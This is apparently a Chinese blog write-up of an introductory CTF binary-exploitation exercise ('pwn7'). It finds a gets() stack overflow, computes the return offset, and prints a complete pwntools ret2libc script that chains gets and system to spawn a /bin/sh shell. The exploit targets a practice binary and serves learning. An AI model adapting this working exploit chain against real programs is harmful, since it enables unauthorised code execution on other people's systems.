pwn的一个入门题目

前一阵看了一点点pwn的基础教程https://www.anquanke.com/post/id/168468,里面正好留了一个作业,就顺手做了一下,还是比较简单的

首先checksec

1
2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable  FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 83 Symbols No 0 4 pwn7

ida看到漏洞函数为gets

然后使用
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAACCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

这个超长的字符串,输入后查看报错信息

1
2
3
4
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

找到返回值地址为AAAA的那个地方,即变量距离返回值地址112字节

ROPgadget –binary pwn7 –string “/bin/sh” 发现没有目标字符串
在ida中也没有看到相应的system函数导入

这里大致的思路是在get中传入字符串 /bin/sh ,并且使用系统调用

由于开启了NX,这里需要绕过

使用gdb查看libc.so的base addr

1
2
3
4
➜  pwn LD_TRACE_LOADED_OBJECTS=1 ./pwn7
linux-gate.so.1 => (0xf7ef9000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d1d000)
/lib/ld-linux.so.2 (0xf7efb000)

在function view中查找system函数,得system地址为 0x0003ADA0
但是我这个ubuntu应该是开了随机化,加载lib库的地址不固定了,这里是直接读的proc/pid/maps

然后搜索/bin/sh字符串,发现还是没有,这里可以自己输入一个
最后构造的payload大概如下

1
2
3
4
A*112
system
0xdeaebuff
/bin/sh

这里的/bin/sh不能直接放到payload中,需要预先放到某个位置,这里题目给预留了..0804A080 这里有个buf2

所以payload最后是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *

import os

sh = process('./pwn7')
shelf = ELF('./pwn7')
s_pid = proc.pidof(sh)[0]
print s_pid
proc_path = '/proc/' + str(s_pid) + '/maps'
maps_str = os.popen('cat ' + proc_path).read()
libc_base_addr = 0
for s in maps_str.split('\n'):
if s.find('libc-2.23.so') != -1 :
libc_base_addr = s.split('-')[0]
break
libc_base_addr = int(libc_base_addr,16)
print libc_base_addr
gets_plt = shelf.plt['gets']
print maps_str

system_offset = 0x0003ADA0
system_plt = libc_base_addr + system_offset

pop_ebp = 0x080486ff
buf2 = 0x0804A080
payload = flat(
['a' * 112, gets_plt, pop_ebp, buf2, system_plt, 0xabcdabcd, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()